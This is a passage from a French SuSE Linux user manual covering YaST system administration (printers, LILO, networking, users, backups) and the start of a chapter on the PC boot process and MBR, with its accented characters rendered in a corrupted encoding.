est un programme libre capable d'interprΘter un document PostScript et de le
convertir de faτon α ce qu'il puisse Ωtre traitΘ directement par l'imprimante.
Lorsqu'on utilise le programme apsfilter , les fichiers ASCII sont Θgalement
convertis vers PostScript et sortis soit directement sur une imprimante pou-
vant gΘrer PostScript soit, au moyen de GhostScript , sur n'importe quelle
autre imprimante.
YaST vous donne la possibilitΘ d'installer aisΘment le filtre apsfilter pour
l'imprimante que vous utilisez (figure 3.19) :
Fig. 3.19: Installer apsfilter avec YaST
Si vous possΘdez une imprimante couleur, activez l'option correspondante
dans le masque. Sous `Type de l'imprimante', vous prΘciserez si votre
imprimante peut ou non gΘrer PostScript.
Sous l'option `Nom de l'imprimante', il vous sera montrΘ toutes les im-
primantes supportΘes par Ghostscript . Vous devrez sΘlectionner dans cette
liste celle que vous utilisez (voir paragraphe 12.6 page 349). Dans le cas
o∙ un ``pilote'' ne serait pas mentionnΘ, vous pouvez l'ajouter α la main en
utilisant les options du menu `Autre imprimante' et ensuite `<dΘfini
par l'utilisateur>'. VΘrifiez, α partir de la ligne de commande avec
gs -h , que le pilote que vous dΘsirez est effectivement supportΘ par la ver-
sion Ghostscript installΘe. ~ Pour la configuration du pilote uniprint avec
le ``fichier de paramΦtres'' correspondant, la mΘthode la plus s√re consiste α
utiliser SETUP (lprsetp ) ; voir paragraphe 12.3 page 342. Si votre impri-
mante n'est pas mentionnΘe, essayez avec un modΦle Θquivalent, par exemple
un modΦle antΘrieur. Si vous possΘdez par exemple une imprimante HP La-
serJet 5L, sΘlectionnez tout simplement dans la liste le modΦle HP LaserJet 4.
Comme `Type de papier' on choisit habituellement en France A4
Si votre imprimante est connectΘe sur une + interface sΘrie, vous pouvez aussi
choisir la vitesse en bauds que vous voulez utiliser pour ce port.
102
___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
*______________________
Aujourd'hui, les imprimantes sont normalement connectΘes sur port parallΦle
et vous devez par consΘquent spΘcifier celui que vous utilisez. Depuis la
version 2.2.x du noyau, il s'agit de /dev/lp0 dans la majeure partie des cas
c'est-α-dire lorsque l'imprimante est reliΘe au premier port parallΦle. /dev/
lp1 n'entre en jeu que si votre machine dispose de deux ports parallΦles.
/dev/lp2 dΘsigne le port parallΦle qui se trouve sur une carte graphique
Hercules 2 .
_______________________________________________________________________________________________________________________||||
|||||||| Si votre imprimante ne fonctionne pas, consultez la ``liste de contr⌠le'' || |
|||||||| || |
|||||||| (paragraphe 12.7 page 354). || |
|||||||| || |
|||||||| En cas de doute, configurez tout d'abord dans le BIOS les valeurs suivantes || |
|||||||| pour le port parallΦle : || |
|||||||| || |
|||||||| || |
|||||||| ~ Adresse d'E/S 378 (hexadΘcimale) || |
|||||||| || |
|||||||| ~ Interruption 7 || |
|||||||| || |
|||||||| ~ Mode : Normal (ou SPP) || |
|||||||| || |
|||||||| ~ et dΘsactivez DMA (devrait Ωtre dΘsactivΘ en mode normal) || |
|||||||| || |
|||||||| Il s'agit ici des valeurs standards couramment utilisΘes. || |
||||||||_______________________________________________________________________________________________________________||_
Vous devez vΘrifier la `rΘsolution en dpi' et le cas ΘchΘant la modi-
fier. Orientez-vous aux instructions contenues dans le manuel de votre impri-
mante.
3.6.2 Configuration du noyau et de l'amorτage
Vous pouvez effectuer les configurations essentielles pour l'amorτage de
votre systΦme ainsi que pour le noyau utilisΘ :
Fig. 3.20: Configuration du noyau et de l'amorτage
2 ____________________________________________________
Jusqu'α la version 2.0.xx du noyau, il est accΘdΘ au premier port parallΦle par /dev/lp1.
*
* 103
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
`SΘlectionner le noyau d'amorτage'
Vous pouvez faire installer, dans votre systΦme, l'un des noyaux prΘcompi-
lΘs (du CD SuSE ) avec les modules adΘquats (`SΘlectionner le noyau
d'amorτage') si le premier choix que vous avez fait lors de l'installation
ne s'avΦre pas optimal. YaST vous proposera alors de copier la configuration
du noyau (.config) dans le rΘpertoire des sources du noyau (/usr/src/
linux).
SΘlectionnez le noyau pour votre machine et faites aussi rΘinstaller LILO
par YaST si vous avez dΘjα pu auparavant amorcer avec succΦs au moyen de
LILO . Si ce n'est pas le cas, voir plus bas les informations sur la configuration
de LILO .
Il est vivement recommandΘ α l'utilisateur aguerri de gΘnΘrer lui-mΩme son
propre noyau aprΦs l'installation (voir chapitre 13 page 359). Un tel noyau
~ exactement taillΘ sur mesure pour votre systΦme personnel ~ est plus petit,
plus rapide et vous Θvite d'avoir des problΦmes de pilotes avec du matΘriel
non existant. Si vous Ωtes toutefois encore peu familiarisΘ avec Linux, vous
devriez utiliser l'un des noyaux standards fournis avec la distribution. Vous
n'avez droit en effet au service de l'Assistance Technique α l'Installation que
si vous utilisez un noyau standard. (voir le paragraphe H.1 page 557.)
`CrΘation d'une disquette de secours'
Une ``disquette de secours'' ou ``d'urgence'' (angl. rescue disk) peut s'avΘrer
utile (`CrΘation d'une disquette de secours') dans le cas o∙ votre
machine refuserait de dΘmarrer ~ pour en savoir plus long sur le contenu et
l'utilisation de la disquette, lisez le paragraphe 16.5 page 438.
`Configurer LILO'
Pour une configuration correcte de LILO (angl. LInux LOader), YaST vous
propose aussi un frontal (figure 3.21 page suivante). Il est Θgalement possible
de dΘmarrer avec LILO les systΦmes OS/2, DOS et Windows 95/98 ~ mais la
prudence s'impose avec Windows NT. Vous trouverez des Θclaircicements sur
la signification des diffΘrents champs et options des masques de configuration
au chapitre 4 page 117.
La `ligne d'append pour paramΦtres du noyau' reste en gΘnΘral
vide, α moins que vous n'ayez dΘjα d√ utiliser des paramΦtres supplΘmen-
taires pour l'amorτage. Dans un tel cas, inscrivez ici ces paramΦtres (toutefois
sans les faire prΘcΘder du nom de noyau linux !). Les dΘtails seront explicitΘs
au paragraphe 4.4.2 page 127.
`O∙ LILO doit-il Ωtre installΘ ?' : Si vous avez uniquement Li-
nux sur votre machine, l'emplacement appropriΘ sera le secteur maεtre
d'amorτage . Choisissez le secteur d'amorτage de la partition boot
si vous voulez lancer Linux α l'aide d'un gestionnaire d'amorτage ``Θtran-
ger''. Dans le cas o∙ vous n'auriez pas crΘΘ de partition /boot, sΘlec-
tionnez le secteur d'amorτage de la partition root . L'option
Sur disquette n'a pas besoin d'Ωtre expliquΘe. La technique de cette
configuration vous sera prΘsentΘe α la page 121.
104
___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
*______________________
Fig. 3.21: LILO : Installation
`DΘlai avant l'amorτage' : Le temps d'attente est indiquΘ en secondes.
10 secondes constituent une bonne valeur.
`Option "linear"' : Cette option n'est gΘnΘralement pas nΘcessaire ; voir
aussi paragraphe 4.4.2 page 127. Avec `F4=Nouv.config', vous dΘtermine-
rez le nom d'une nouvelle ``configuration''. Le nom linux pour la configura-
tion standard a fait ses preuves. S'il existe dΘjα des configurations, faites-les
modifier avec `F5=╔dit Config'. Dans ce but, YaST met α votre disposi-
tion un masque que vous pouvez voir dans la figure 3.22. Signification des
diffΘrents champs :
Fig. 3.22: LILO : Configuration de l'amorτage
*
* 105
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
`Nom de la configuration' : Vous avez ici carte blanche, mais pour la
premiΦre configuration, choisissez linux .
`Quel systΦme d'exploitation' : Vous avez les possibilitΘs suivantes :
Lancer Linux , Lancer DOS ~ c'est aussi l'option qui convient pour Win-
dows 95/98 ~ et Lancer OS/2
`Partition (racine) α amorcer' : Elle est dΘjα prΘdΘfinie, en gΘnΘral
vous n'aurez rien α changer ici. Appuyez sur `F3' et choisissez la partition
appropriΘe.
`Noyau optionnel' : Ne faites une croix que si le noyau n'est pas constam-
ment disponible comme c'est le cas par exemple d'un noyau que l'on ne veut
installer qu'une seule fois pour effectuer des tests.
`Noyau que LILO doit amorcer' : Ici non plus vous n'aurez pas besoin,
en rΦgle gΘnΘrale, de modifier ce qui est dΘjα prΘvu. Son emplacement stan-
dard sous SuSE Linux est /boot/vmlinuz ; avec `F3', vous avez la possi-
bilitΘ de ``naviguer'' dans la structure des rΘpertoires.
Avec `Continuer', LILO est installΘ, avec `Annuler', vous pouvez arrΩter
l'installation de LILO .
________________________________________________________________________________________________________*
*________|||
| Nous vous conseillons, lorsque vous configurerez Linux dans LILO , de *
* ||||
| *
* |||
| prΘvoir encore une deuxiΦme configuration (par exemple old ) que vous *
* |||
| dΘfinirez comme Θtant le noyau α amorcer /boot/vmlinuz.old et de *
* |||
| *
* |||
| marquer d'une croix le champ `Noyau optionnel'. Lors d'une nouvelle *
* |||
| compilation du noyau (voir chapitre 13 page 359) avec installation auto- *
* |||
| *
* |||
| matique de LILO , une copie de sauvegarde de votre ancien noyau sera *
* |||
| automatiquement installΘe. Votre systΦme pourra ainsi Ωtre dΘmarrΘ mΩme *
* |||
| *
* |||
| si le nouveau noyau ne fonctionne pas comme il se doit ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
3.6.3 Configuration rΘseau
Cette configuration peut Ωtre rΘalisΘe avec YaST (voir figure 3.23 page ci-
contre). Vous devez absolument la faire mΩme si votre machine ne se trouve
pas vraiment dans un rΘseau avec carte rΘseau ou analogue ! Le bon fonc-
tionnement de nombreux programmes est en effet conditionnΘ par le support
rΘseau.
`Configuration de base du rΘseau' Il sera assignΘ ici les + adresses IP
qui seront associΘes aux interfaces rΘseau (carte rΘseau, pΘriphΘrique PPP
ou ISDN, voir figure 3.24 page suivante). Voir la page 154 et les pages
suivantes qui vous fourniront une explication de tous ces termes.
Vous pouvez ici, avec `F3=Auto-IP', sΘlectionner les services DHCP ou
BOOTP pour utiliser une configuration IP automatique.
`Changer le nom de la machine' Le nom d'h⌠te (angl. hostname) et le
nom de domaine de la machine peuvent Ωtre ici modifiΘs (voir α ce sujet
la page 154 et pages suivantes).
`Configurer les services rΘseau' DerriΦre cette option se cachent
les services rΘseau souvent requis : inetd (pour telnet , ftp , l'impression
etc.), portmap (pour serveurs NFS et NIS) et rpc.nfsd (pour serveurs
NFS).
106
___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
*______________________
Fig. 3.23: Configurer le rΘseau
Fig. 3.24: Configuration de base du rΘseau
`Configuration du serveur de noms' Il est possible de spΘcifier un
ou plusieurs serveurs de noms (voir page 455).
`Configurer le client YP' Cette option est active lorsque le paque-
tage ypclient, sΘrie n est installΘ (voir le paragraphe 5.4 page 165 ainsi
que la page 457).
`Configurer sendmail' Il est possible d'installer un fichier de configu-
ration pour sendmail . Ce fichier offre une fonctionnalitΘ suffisante pour
tout ce qui peut Ωtre nΘcessaire en diffΘrentes circonstances.
`GΘrer l'imprimante rΘseau' Il est possible d'installer ici toutes les
imprimantes accessibles en rΘseau via TCP/IP. Remplissez ce masque si
vous souhaitez accΘder α l'imprimante lp connectΘe au serveur d'impres-
sion soleil.cosmos.univers sous le nom local remote .
Si vous avez besoin d'un prΘfiltrage pour cette imprimante, lisez le para-
graphe 12.4 page 346 et pages suivantes.
*
* 107
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
`Piloter l'imprimante via Samba' Cette option est active lorsque le
paquetage samba, sΘrie n est installΘ. C'est ainsi que l'on accΦde α une
imprimante connectΘe α une machine Windows.
`Piloter l'imprimante via Novell' Cette option est active lorsque le
paquetage ncpfs, sΘrie n est installΘ.
`Configurer les paramΦtres ISDN' Cette option est active lorsque le
paquetage i4l, sΘrie n est installΘ. Pour ISDN, il est mis α votre dispo-
sition des menus trΦs dΘtaillΘs (voir les explications au paragraphe 6.2
page 173).
`Configurer le rΘseau PPP' Cette option permet d'installer PPP (voir
les explications donnΘes au paragraphe 6.1 page 171).
Pour une configuration plus poussΘe du rΘseau, reportez-vous au chapitre 5
page 153.
3.6.4 Configurer le systΦme live
IndΘpendamment de SuSE Linux, vous pouvez acquΘrir le CD-ROM ``sys-
tΦme de fichiers live'' contre paiement, ou vous procurer l'image ISO depuis
le serveur FTP (ftp://ftp.suse.com/pub/suse/i386/). Ce CD-ROM
amorτable peut Ωtre utilisΘ pour diffΘrentes tΓches :
~ └ partir de ce CD-ROM, vous pouvez lancer directement un systΦme
Linux (incluant le systΦme X Window) sans avoir α installer quoi que ce
soit sur votre disque dur. Ceci peut Ωtre utile, par exemple dans le cas o∙
vous voudriez vΘrifier si une machine dΘterminΘe fonctionne avec SuSE
Linux ou dans le cas o∙ vous souhaiteriez avoir un systΦme de secours
complet et indestructible α disposition (voir paragraphe 16.5 page 438).
~ Il est en outre possible d'intΘgrer le ``systΦme live'' dans un systΦme SuSE
Linux rΘguliΦrement installΘ. Ceci n'est toutefois utile que si vous ne
disposez pas de suffisamment de place sur le disque dur pour pouvoir
installer un systΦme standard complet. C'est ce deuxiΦme point qui va
maintenant Ωtre traitΘ.
________________________________________________________________________________________________________*
*________
| Notez que le systΦme live ne peut mettre α disposition qu'un choix restreint *
* |||
| *
* |||
| de programmes ~ l'espace sur un support CD est limitΘ. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
YaST propose l'option du menu pour l'intΘgration du systΦme de fichiers
live. Si vous le souhaitez, il sera crΘΘ des liens symboliques pour tous les
paquetages qui n'ont pas encore ΘtΘ installΘs. Ces liens pointent sur les pro-
grammes du CD. Les programmes pourront ainsi Ωtre chargΘs sans problΦme
α partir du CD et sans occuper d'espace mΘmoire sur le disque. Notez qu'α
partir de maintenant vous devrez toujours avoir le CD contenant le systΦme
de fichiers live (CD 4) dans votre lecteur car il est montΘ en ce moment (le
+ point de montage est /S.u.S.E.). Si vous dΘsirez utiliser un autre CD,
amorcez d'abord avec le CD live, dΘmontez-le avec
terre: # umount /S.u.S.E.
et montez ensuite l'autre CD.
108
___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
*______________________
Il peut toutefois arriver que mΩme des programmes fondamentaux soient in-
tΘgrΘs α partir du CD live. Dans ce cas, certains programmes tourneront aprΦs
le dΘmarrage α partir du CD, de telle sorte que celui-ci ne pourra pas Ωtre
dΘmontΘ. Le systΦme de base est cependant conτu de telle maniΦre qu'il peut
tourner sans ce CD. Amorcez alors votre systΦme, retirez le CD du lecteur
et relancez Linux. Vous recevrez bien quelques messages d'erreur mais vous
pourrez les ignorer. Tous les programmes nΘcessaires pour l'accΦs α un CD
sont contenus dans le systΦme.
Si, lorsque vous intΘgrez le CD, vous recevez le message d'erreur "No space
left on device", ceci est peut Ωtre d√ au fait que la densitΘ des + i-noeuds
sur la partition est trop minime. Cela peut trΦs vite se produire avec de petites
partitions. Il n'y a malheureusement pas d'autre solution possible que d'ef-
fectuer un nouveau formatage. SpΘcifiez une densitΘ plus haute (par exemple
1 Ko au lieu de 4 Ko par i-noeud - voir aussi α ce sujet le paragraphe 3.3.10
page 91).
Si votre disque est saturΘ et si l'intΘgration a ΘtΘ stoppΘe de ce fait, vous
ne pourrez mΩme plus lancer YaST pour dΘconnecter le systΦme de fichiers
live. Il n'est en effet plus possible α YaST de gΘnΘrer les fichiers dont il
a besoin pour le dΘmarrage. Supprimez maintenant quelques uns des liens
symboliques qui pointent sur /S.u.S.E./... 3 Vous lancerez ensuite YaST
et dΘconnecterez le systΦme de fichiers live.
L'avantage du systΦme live est constituΘ par le peu d'espace requis. Les in-
convΘnients sont les suivants :
~ L'accΦs au systΦme live est lent car les accΦs au lecteur de CD-ROM sont
nettement moins rapides que les accΦs au disque dur.
~ Comme il est nΘcessaire de crΘer un trΦs grand nombre de liens symbo-
liques qui requiΦrent chacun un + i-noeud, vous devez avoir suffisamment
d'i-noeuds disponibles. Le nombre d'i-noeuds a dΘjα ΘtΘ dΘterminΘ au mo-
ment de la crΘation du systΦme de fichiers et il ne peut Ωtre changΘ ensuite
que par un nouveau formatage de la partition.
~ Pour que le CD live puisse Ωtre intΘgrΘ, la partition concernΘe doit avoir
une taille de 50 Mo au minimum.
3.6.5 Configuration du login
Ici on peut dΘterminer si l'Θcran login d'affichage de texte doit Ωtre dΘmarrΘ
lors du lancement du systΦme ou si le systΦme X Window doit Ωtre lancΘ tout
de suite. Si vous optez pour le login graphique, vous avez le choix entre XDM
et KDM du projet KDE. Si vous choisissez KDE, vous pouvez aussi spΘcifier
qui est autorisΘ α effectuer un shutdown . L'alternative est un login sur une
console ASCII et un lancement de X avec la commande startx (figure 3.25
page suivante).
_______________________________________________________________________________________________________________________||
|||||||| Si vous n'Ωtes pas s√r que X puisse Ωtre lancΘ sans problΦme, il vaudrait ||| |
|||||||| mieux ne pas activer XDM ou KDM . Testez en tous les cas si vous pouvez || |
|||||||| || |
|||||||| lancez X α partir de la console avant d'activer un gestionnaire d'affichage. || |
||||||||_______________________________________________________________________________________________________________||_
3 ____________________________________________________
Au paragraphe 19.7.5 page 490, il est expliquΘ comment on efface des fichiers.
*
* 109
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Fig. 3.25: Configuration du login
Le runlevel 3 est enregistrΘ dans /etc/inittab comme niveau d'exΘcution
par dΘfaut et une variable est positionnΘe dans /etc/rc.config (voir para-
graphe 79 page 460). Si vous utilisez le runlevel 3 dans votre systΦme α une
autre fin que pour le dΘmarrage de XDM ou KDE aucun des deux ne sera
activΘ.
3.6.6 Configuration susewm
C'est dans ce menu de configuration que l'on dΘtermine le ``bureau graphi-
que'',
Fig. 3.26: Configuration susewm
SΘlectionnez le gestionnaire de fenΩtres par dΘfaut et dΘterminez pour quels
autres gestionnaires de fenΩtres susewm doit gΘnΘrer des fichiers de configu-
110
___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
*______________________
ration disponibles dans l'ensemble du systΦme (voir les arriΦres-plans tech-
niques au paragraphe 9.5 page 282 et pages suivantes) .
3.6.7 Gestion utilisateurs
Avec YaST , vous pouvez aisΘment crΘer des comptes utilisateurs et supprimer
ou modifier des comptes utilisateurs dΘjα existants. Vous trouverez le dialogue
se rapportant α ce sujet dans le menu `Administration du systΦme' sous
l'option `Gestion utilisateurs').
Fig. 3.27: Gestion utilisateurs avec YaST
Vous pouvez ici autoriser l'utilisateur α `accΘder au modem'. Dans ce cas,
l'utilisateur sera inscrit dans les groupes `uucp' et `dailout'. Tous les
membres de ce groupe sont habilitΘs par exemple α Θtablir et α terminer des
connexions PPP.
Lorsqu'il est ajoutΘ un utilisateur, tous les fichiers du rΘpertoire exemple
/etc/skel sont copiΘs dans le rΘpertoire personnel du nouvel utilisateur. Il
est ainsi possible de rΘaliser une certaine prΘconfiguration minimale de tous
les utilisateurs du systΦme. Chaque utilisateur peut bien entendu modifier plus
tard ces fichiers en fonction de ses propres critΦres.
En outre, YaST invoquera deux scripts dans lesquels les tΓches de routine
pourront Ωtre insΘrΘes :
~ AprΦs la crΘation du compte utilisateur, le script /usr/sbin/useradd.
local ~ au cas ou il existe ~ sera invoquΘ. └ ce moment, l'utilisateur
est inscrit aussi bien dans /etc/passwd que dans /etc/shadow. Le rΘ-
pertoire personnel de l'utilisateur existe dΘjα et les fichiers provenant de
/etc/skel sont copiΘs.
~ Avant que l'utilisateur ne soit supprimΘ, le script /usr/sbin/userdel.
local ~ au cas ou il existe ~ sera invoquΘ. └ ce moment l'utilisateur
est encore inscrit dans les fichiers passwd et shadow et son rΘpertoire
personnel existe encore.
*
* 111
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
Le nom de l'utilisateur sera transmis aux deux scripts sous forme de para-
mΦtres. Si l'on a besoin d'autres donnΘes (ID de l'utilisateur, shell de lo-
gin, rΘpertoire personnel), il est relativement facile de les retrouver dans
/etc/passwd.
Si vous avez suffisamment d'expΘrience et si vous trouvez trop fastidieux de
lancer YaST pour ces opΘrations, vous avez bien s√r aussi α votre disposition
les utilitaires useradd et userdel .
Informations sur PAM
Les fichiers de configuration pour PAM (angl. Pluggable Authentication Mo-
dules) sont situΘs sous /etc/pam.d. La documentation α l'usage des pro-
grammeurs et administrateurs systΦme se trouve sous /usr/doc/packages/
pam.
SuSE Linux peut gΘrer les mots de passe MD5. Avec l'encodage MD5,
les mots de passe peuvent avoir une longueur de plus de 8 caractΦres. Il
convient toutefois d'Ωtre prudent : l'encodage MD5 n'est pas compatible
avec crypt() qui est la fonction standard sous Unix. Cela signifie que bon
nombre de systΦmes Unix commerciaux ainsi que certains programmes ne
fonctionnent pas avec les mots de passe MD5.
Dans /usr/doc/packages/pam/md5.config, vous trouverez des informa-
tions sur la configuration.
3.6.8 Gestion de groupes
Avec YaST , vous pouvez gΘrer non seulement les utilisateurs mais aussi les
groupes d'utilisateurs.
Fig. 3.28: Gestion de groupes avec YaST
Sous Linux (comme sous Unix en gΘnΘral), chaque utilisateur peut et doit ap-
partenir au moins α un groupe d'utilisateurs. Ceci est indispensable car l'ap-
112
___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
*______________________
partenance α un groupe confΦre certains droits d'accΦs comme par exemple
l'accΦs aux fichiers. Il est ainsi possible de limiter l'accΦs aux rΘpertoires aux
seuls membres d'un groupe et de protΘger cet accΦs par un mot de passe de
groupe.
Certains groupes d'utilisateurs sont dΘjα prΘdΘfinis sous Linux, par exemple
les groupes d'utilisateurs `users', `root' et plusieurs autres encore.
La forme `users' n'est toutefois que la reprΘsentation textuelle des groupes
d'utilisateurs. Ils sont reprΘsentΘs, au niveau interne, par des nombres appelΘs
identificateurs de groupes (angl. group id). Le fichier de configuration pour
les groupes d'utilisateurs est /etc/group.
Tout ceci, uniquement α titre d'information car avec YaST vous pouvez
crΘer plusieurs groupes d'utilisateurs de maniΦre beaucoup plus simple. Dans
YaST , vous trouverez le dialogue concernant la gestion des groupes d'utilisa-
teurs dans le menu `Administration du systΦme' sous l'option `Ges-
tion de groupes'. Le dialogue vous est prΘsentΘ par la figure 3.28 page
prΘcΘdente.
3.6.9 CrΘer des sauvegardes
Il peut Ωtre utile de sauvegarder dans un fichier d'archive ou sur bande tous
les fichiers ~ typiquement des fichiers de configuration et de donnΘes ~ qui
ont ΘtΘ modifiΘs ou sont venus s'ajouter depuis l'installation d'un paquetage.
C'est la tΓche de cette fonction.
Fig. 3.29: Sauvegarde de donnΘes (angl. backup) avec YaST
Le dialogue se rapportant α ce sujet se divise en trois sections :
1. DΘterminer le volume
Dans ce masque, vous dΘterminerez α l'aide d'une liste quels rΘpertoires
sont exclus de la sauvegarde. Il est indiquΘ ici /tmp, /dev et /proc.
Vous devriez toutefois complΘter la liste en y ajoutant par exemple des
CD-ROM montΘs, des partitions DOS montΘes et des rΘpertoires montΘs
via NFS. Plus le nombre de rΘpertoires inutiles exclus de la sauvegarde
*
* 113
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
est important, plus la fonction gagne en rapiditΘ car les descriptions des
paquetages rendent_ superflues_ les comparaisons entre les fichiers. Avec
les touches |+_ |et_|-__|, vous pourrez soit ajouter soit supprimer des entrΘes
dans la liste. |F____1|0poursuit la fonction dans la prochaine phase.
2. Recherche
YaST recherche maintenant dans le systΦme les fichiers qui ont ΘtΘ inclus
dans la sauvegarde. Le nombre et la taille des fichiers localisΘs seront
continuellement affichΘs. Lorsque la recherche sera terminΘe, il apparaεtra
une liste contenant tous les fichiers qui ont ΘtΘ_trouvΘs._Ici, vous pouvez
encore supprimer des fichiers de la liste avec |E_________|space. Ces fichiers ne sont
plus inclus dans la sauvegarde.
3. SpΘcifier la commande
Ici, vous dΘterminez de quelle maniΦre les fichiers doivent Ωtre sauve-
gardΘs. Vous pouvez pour cela entrer un nom d'archive ou spΘcifier une
option.
Le mΘcanisme de sauvegarde ne peut naturellement pas fonctionner si la date
des fichiers n'a subi aucun changement. Cette fonction consomme en outre
beaucoup de mΘmoire centrale. Les noms de fichiers d'un CD typique oc-
cupent α eux seuls 6 Mo et vous avez bien s√r aussi besoin d'espace disque
pour l'archive. Si vous faites compresser l'archive, vous pouvez rΘduire de
moitiΘ la taille des fichiers. Mais la solution la plus recommandable est d'en-
registrer la sauvegarde sur une bande.
3.6.10 Configuration sΘcuritΘ du systΦme
Ne modifiez les paramΦtres par dΘfaut que si vous connaissez parfaitement
les consΘquences de ces mesures. Vous devez absolument lire α ce sujet le
chapitre 18 page 465.
________________________________________________________________________________________________________*
*________||
| Si vous ne voulez pas autoriser de login `root' via ssh , vous *
* ||||
| *
* |||
| devrez adapter /etc/ssh_config. Dans /etc/sshd_config, *
* |||
| PasswordAuthentication yes est positionnΘe par dΘfaut. ~ Si *
* |||
| *
* |||
| ssh est configurΘ correctement, les logins `root' par rΘseau sont s√rs. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
3.6.11 Configurer XFree86[tm]
Le systΦme X Window (XFree86) peut Ωtre configurΘ avec diffΘrents outils.
Essayez tout d'abord avec SaX . Vous trouverez une description dΘtaillΘe de
SaX au paragraphe 8.1 page 240 et pages suivantes.
3.6.12 Modifier le fichier de configuration
Dans SuSE Linux, pratiquement tout l'ensemble du systΦme est gΘrΘ par un
seul fichier de configuration central (/etc/rc.config). Ce fichier est utilisΘ
lors de l'amorτage par les diffΘrents scripts de dΘmarrage et le systΦme est
configurΘ en consΘquence.
Vous pouvez, avec YaST , modifier les diffΘrentes entrΘes contenues dans ce
fichier et adapter ainsi le systΦme α vos critΦres personnels sans avoir besoin
de savoir en dΘtail quels fichiers sont concernΘs par les modifications.
114
___________________________________________________________________________________3.6.__Administration_du_systΦme__________*
*______________________
Fig. 3.30: Modification du fichier de configuration avec YaST
SΘlectionnez ici,_ α l'aide__du_ curseur, la variable qui doit Ωtre modifiΘe et
appuyez sur |_____-|ou sur |F___|3pour effectuer la modification.
Si vous changez manuellement quelque chose α ce fichier vous devrez ensuite
invoquer le script SuSEconfig . Le script fait en sorte que les modifications
que vous avez apportΘes au fichier /etc/rc.config soient prises en compte
dans les diffΘrents fichiers de configuration spΘcifiques au programme. Vous
trouverez une description dΘtaillΘe du fichier de configuration avec toutes les
possibilitΘs de paramΘtrage au paragraphe 17.6 page 451.
*
* 115
3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
*_______________________________________@
116
Chapitre 4
Amorτage et gestionnaires
d'amorτage :
LILO , loadlin , etc.
Dans ce chapitre, nous allons vous prΘsenter diffΘrentes mΘthodes qui vous
permettront d'amorcer (+ amorτage) votre systΦme aprΦs avoir terminΘ votre
installation. Afin qu'il vous soit plus facile de superviser chacune de ces mΘ-
thodes, nous allons tout d'abord Θlucider quelques dΘtails techniques concer-
nant le processus d'amorτage sur PC.
4.1 ProcΘdure d'amorτage sur PC
AprΦs la mise sous tension de la machine, le + BIOS (angl. Basic Input Output
System) initialise l'Θcran ainsi que le clavier et teste la mΘmoire centrale.
Jusqu'α ce moment, il n'existe pas encore de support de mΘmoire de masse
dans l'univers de votre PC !
AprΦs avoir explorΘ son ``monde intΘrieur'', le systΦme embryonnaire peut
maintenant se consacrer α la dΘcouverte du monde extΘrieur. Des informa-
tions concernant la date, l'heure et la sΘlection des pΘriphΘriques les plus im-
portants sont extraites des valeurs CMOS (CMOS setup). Comme maintenant
le premier disque (y compris sa gΘomΘtrie) devrait Ωtre connu, le chargement
du systΦme d'exploitation peut commencer α partir de ces donnΘes.
Pour cela, le tout premier secteur physique de donnΘes de 512 octets est
chargΘ en mΘmoire depuis le premier disque dur et le contr⌠le des pro-
grammes passe au mini-programme au dΘbut de ce secteur. La suite des ins-
tructions ainsi exΘcutΘes dΘtermine le dΘroulement de la procΘdure d'amor-
τage. C'est pourquoi les 512 premiers octets du premier disque dur sont ap-
pelΘs secteur maεtre d'amorτage (angl. + MBR = Master Boot Record).
Ce contexte, bien que dΘcrit ici de faτon trΦs brΦve et simplifiΘe, permet dΘjα
de faire deux observations qui aideront α mieux comprendre ce qui va suivre :
Jusqu'α ce moment (chargement du MBR), la procΘdure d'amorτage est la
mΩme sur chaque PC quelque soit le systΦme installΘ ; le PC ne dispose en-
core, pour l'accΦs aux pΘriphΘriques, que des seules routines (pilotes) sto-
ckΘes dans le BIOS
*
* 117
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
Secteur maεtre d'amorτage (MBR)
La structure du MBR est dΘfinie par une convention qui s'applique α tous
les systΦmes d'exploitation. Les 446 premiers octets sont rΘservΘs au code
du programme1 . Les 64 octets suivants offrent la place nΘcessaire α une table
des partitions pouvant contenir jusqu'α quatre entrΘes (voir paragraphe 2.8
page 67 et paragraphe 2.9 page 68).2 Les 2 derniers octets doivent contenir un
``nombre magique'' fixe (AA55 ) : un MBR qui a autre chose α cet emplacement
est considΘrΘ par le BIOS et tous les systΦmes d'exploitation du PC comme
n'Θtant pas valide.
Secteurs d'amorτage
Les secteurs d'amorτage sont les premiers secteurs des partitions3 du disque
dur. Ils offrent un espace de 512 octets et sont destinΘs α abriter le code qui
permettra de lancer le systΦme d'exploitation qui se trouve sur cette partition.
Les secteurs d'amorτage des partitions formatΘes DOS, Windows ou OS/2
jouent toujours ce r⌠le (et contiennent en plus d'importantes donnΘes de base
du systΦme de fichiers). Par contre, les secteurs d'amorτage des partitions
Linux ~ mΩme aprΦs la crΘation d'un systΦme de fichiers ~ sont au dΘpart tou-
jours vides( !). Une partition Linux n'est donc pas par elle-mΩme amorτable,
mΩme si elle contient un noyau ainsi qu'un systΦme de fichiers racine valide.
Un secteur d'amorτage possΘdant un code de dΘmarrage du systΦme valide a
le mΩme identifiant ``magique'' que le MBR dans les 2 derniers octets.
Amorcer α partir de DOS ou de Windows 95/98
Le MBR DOS du premier disque dur contient une partition marquΘe comme
active (angl. bootable), ce qui signifie que c'est lα qu'il faut rechercher le
systΦme α charger4 . Le code de programme DOS sur le MBR constitue le
premier niveau du chargeur (angl. first stage bootloader) et il vΘrifie qu'il
existe bien un secteur d'amorτage valide sur la partition spΘcifiΘe.
Si c'est le cas, le code peut Ωtre dΘmarrΘ dans ce secteur d'amorτage comme
